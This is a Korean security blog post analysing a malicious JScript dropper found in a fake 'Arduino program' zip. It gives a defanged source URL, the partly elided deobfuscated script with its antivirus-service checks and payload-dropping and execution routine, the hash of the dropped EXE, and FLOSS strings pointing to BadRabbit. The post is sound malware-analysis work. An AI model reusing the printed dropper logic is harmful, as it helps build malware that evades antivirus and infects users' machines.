Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 소설
- 존엄하게산다는것
- fuzzer
- 이런사람만나지마세요
- Hexeditor
- iphone11
- python
- 부의본능
- 인텔리전스
- 신
- RX100
- 악성코드
- 뚝썸유원지
- threatintelligence
- cannot find or open
- 베르나르
- msticpy
- CerberoSuite
- 복층루희네집
- 아이폰11
- YARA
- 처음이자마지막일듯
- protoc
- 아이폰12
- 악성크도
- 독서
- 똑딱이졸업하는그날까지
- Error
- Git
- Cerbero
Archives
- Today
- Total
qingfro9님의 블로그 입니다.
[악성코드][분석]아두이노_프로그램.zip 본문
오늘은 즐거운 김치콘 컨퍼런스 🙂 2번의 기회를 개인 사정으로 못갔다가 오늘 드디어!! 갔다. 그것도 서울에서 해서 참 다행 ㅠㅠㅋㅋ
너무 일찍가서 커피 한잔 하고 컨퍼런스 참석. 이번 뱃지는 아두이노를 사용하는 방식이라서 컨퍼런스가 끝나고 집에서 코드를 짤려는데! 이게 뭔가? 아두이노 IDE 받는 속도가 너무 느리다.. 그래서 막 업로드된 다른 사이트를 찾다가 우연히 아래 zip 파일을 찾게 된 것.!
다운은 아래 사이트에서 받은거 같은데... 이런 화면이 아니였는데, 지금들어가니까 스크립트도 없고..흠.. 여튼 내가 기록을 잘못했을 수도 있지만 아래 링크로 메모를 해놨으니..ㅎㅎ
http://www[.]construccionesjoysa[.]es/%EC%95%84%EB%91%90%EC%9D%B4%EB%85%B8-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C/
아래파일이 그 사이트에서 받은 zip 파일이다.
zip 파일을 열면 아래 처럼 js 파일이 있다.. ㅋㅋ 다운받는 용량부터가 아주 분석하고 싶게 생겼다.(작아서 좋아요)
열어보면 word wrap해서 보면 다음과 같이 정규표현식으로 무언가 푸는 걸 볼 수 있다.
코드 수정 약간 수정해서 덤프 하면 아래와 같은 스크립트 획득이 가능하다.
var mmkibko = new ActiveXObject('Scripting.FileSystemObject'); var cayrk = WScript.CreateObject("WScript.Shell"); var jgrzcax = cayrk.ExpandEnvironmentStrings("%USERPROFILE%")+"\\"; var ifpjtbkl = WScript.CreateObject("shell.application"); function dgbzp(turgtovj,enncjvo) { var cdlggcae=turgtovj.split("").reverse().join(""); pkmumh = ''; for ( i = 0; i < ( cdlggcae.length / 2 ); i++ ){ pkmumh += String.fromCharCode( '0x' + cdlggcae.substr( i * 2, 2 ) ); } var mxjasn = new ActiveXObject("ADODB.Stream"); mxjasn.Type = 2; mxjasn.Charset = "ISO-8859-1"; mxjasn.Open(); mxjasn.WriteText(pkmumh); mxjasn.SaveToFile(enncjvo,2); mxjasn.Close(); } function uzvgueabst(hfwhyzvjjk) { var enncjvo = WScript.CreateObject("WScript.Shell"); var dednalcbjbg = enncjvo.Exec(hfwhyzvjjk); var i=0; while (true) { if (dednalcbjbg.Status==0) { WScript.Sleep(100); i++; } else break; if (i==1800) { dednalcbjbg.Terminate(); break; } } }
...
...악용될 수 있으니 이렇게 해야하나?
...
"'+jgrzcax+'qijvqpckaz.js"'); } catch(e){ } } if (mfyetevy('V3 Service')) { if (mmkibko.FileExists(jgrzcax+"ewnau.txt")) { dgbzp(caisngrpd,jgrzcax+'ggzcood.js'); try{ uzvgueabst('wscript.exe "'+jgrzcax+'ggzcood.js"'); } catch(e){ } } else { dgbzp('727272',jgrzcax+'ewnau.txt'); try{ uzvgueabst('wscript.exe "'+WScript.ScriptFullName+'"'); } catch(e){ } WScript.Quit(); } } dgbzp(oqjoranwl,jgrzcax+'iygsnhnat.exe'); if (mmkibko.FileExists(jgrzcax+"iygsnhnat.exe")) { try{ ifpjtbkl.ShellExecute('"'+jgrzcax+"iygsnhnat.exe"+'"', '', "", "open", 1); } catch(e){ } } END
이쁘게 정리하면 다음과 같다.
var mmkibko = new ActiveXObject('Scripting.FileSystemObject');
var cayrk = WScript.CreateObject("WScript.Shell");
var jgrzcax = cayrk.ExpandEnvironmentStrings("%USERPROFILE%") + "\\";
var ifpjtbkl = WScript.CreateObject("shell.application");
function dgbzp(turgtovj, enncjvo) { #파일생성
var cdlggcae = turgtovj.split("").reverse().join("");
pkmumh = '';
for (i = 0; i < (cdlggcae.length / 2); i++) {
pkmumh += String.fromCharCode('0x' + cdlggcae.substr(i * 2, 2));
}
var mxjasn = new ActiveXObject("ADODB.Stream");
mxjasn.Type = 2;
...
mxjasn.Close();
}
function uzvgueabst(hfwhyzvjjk) {
var enncjvo = WScript.CreateObject("WScript.Shell");
...
i++;
} else break;
if (i == 1800) {
dednalcbjbg.Terminate();
break;
}
}
}
function mfyetevy(name) {
var koqjzvjbqk = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_Service WHERE Name='" + name + "'");
yoijqrqpo = new Enumerator(koqjzvjbqk);
...
if (xansyfa == 'Running') {
return true;
} else {
return false;
}
}
if (mfyetevy('avast! Antivirus')) {
dgbzp(icjeqpom, jgrzcax + 'fygpd.js');
try {
uzvgueabst('wscript.exe "' + jgrzcax + 'fygpd.js"');
} catch (e) {}
WScript.sleep(15000);
}
if ((mfyetevy('WdNisSvc')) || (mfyetevy('WinDefend'))) {
dgbzp(qzuizwju, jgrzcax + 'nkwqlmlgmzy.js');
...
dgbzp('727272', jgrzcax + 'ewnau.txt');
try {
uzvgueabst('wscript.exe "' + WScript.ScriptFullName + '"');
} catch (e) {}
WScript.Quit();
}
}
dgbzp(oqjoranwl, jgrzcax + 'iygsnhnat.exe');
if (mmkibko.FileExists(jgrzcax + "iygsnhnat.exe")) {
try {
ifpjtbkl.ShellExecute('"' + jgrzcax + "iygsnhnat.exe" + '"', '', "", "open", 1);
} catch (e) {}
}
END
재미있는 코드가 보인다. 안티바이러스체크 코드
위 코드를 정리하면 다음과 같이 5가지 방식으로 스크립트 생성 실행, 실행파일 생성 실행 하는 것을 확인할 수 있다.
icjeqpom -> jgrzcaxfygpd.js
->avast! Antivirus
qzuizwju -> jgrzcaxnkwqlmlgmzy.js
-> WdNisSvc or WinDefend
caisngrpd -> jgrzcaxggzcood.js
-> V3 Service
scfsuzuwseh -> jgrzcaxqijvqpckaz.js
-> NisSrv
oqjoranwl -> jgrzcaxiygsnhnat.exe
EXE를 획득했다.
---------------------------
체크섬 정보
---------------------------
이름: jgrzcaxiygsnhnat.exe
크기: 172032 바이트 (0 MB)
SHA256: 9A5A21B62DE58506E743302A96B9F5C4DB676B4FCC9DE5EC3B3DE9C79D3D05CA
---------------------------
OK
---------------------------
왓? VT에 없었다.
더 흥미롭다. 근데 불금에 이렇게 보고 있는 내자신이 싫어졌다. 시간도 새벽2시다 내일 컨퍼런스 가야하는데..
(망할 쇼미더머니가 재미있다. 다음주 루피vs 슈퍼비 기대된다. 개인적으로 슈퍼비를 좋아함)
floss를 사용해서 좀 유니크한 문자열들을 찾아보고 어떤놈인지 확인해보자! 이생각을했다.
유니크 문자열은 아래와 같았다.
7Hazifuyacizogi zanugi payacuci piwe tewavasalo gejuxosi0Dijoharu xayo gorayocice nehozogole hejosazobilo.No ziwovaze fabofa visefu no tudovo zawesojime Ta sujinefegecipa noluyifozoberi`Fezidawazuge ni yokuluyese puhe zimosafodidu sepejacuda gemuvafalomise yicuwatitakone yepijosudo+Takupovetemula vifiposoxo hilujusucu fususa
Bohe nihideyadi.Zeruleviya hudejitafepiji wage kuwi zumedeloci^Fucavoxi lituva bujupexoyixu hapiko sihemukuxa bikugikijabeso gutuyozukoni pihowu socegutosixu;Xacojofoda goluhitoki ho nizezigesojevi lohamocugorozo tahu+Jamijurukukiyi pucajetu tolorube womapebokadZumigesa kukixoyefepu wahujecugetu tunivilera luwafujojoxaru kulurazapune kucedolapedubo jirehe beta
457aa56b
1023442870282056
결론으론 BADRABBIT인 것같다. floss로 디코딩된 값이 동일한것을 보아..
그만, ㅠㅠㅠ 졸리다 오늘은 여기까지 뿅이다.. 어차피 하루 지나도 더 분석하거나 하진 않을태니 이만..
이 파일은 분석하면서 만들었던 파일 정리
이건 김치콘 뱃지로 만든거! 뭐라고 쓰지 하다가 ㅋㅋ 재미있게 만드신분들 많은데...이거나 할걸 ㅠ
'정보보안 > 악성코드' 카테고리의 다른 글
[정보보안][악성코드]UPX패킹되어 있는데 섹션이 다르다.! (0) | 2019.04.26 |
---|---|
[정보보안][악성코드]악성코드 분석 중 만난 netsh command line (0) | 2018.12.02 |
[악성코드]악성코드에서 사용하는 CAll API by Hash (0) | 2018.08.02 |
[악성코드][Paper]고려대학교_실행압축악성코드무력화알고리즘연구_최종보고서 (0) | 2018.07.29 |
[악성코드]API Redirect 문서 (0) | 2018.07.29 |
Comments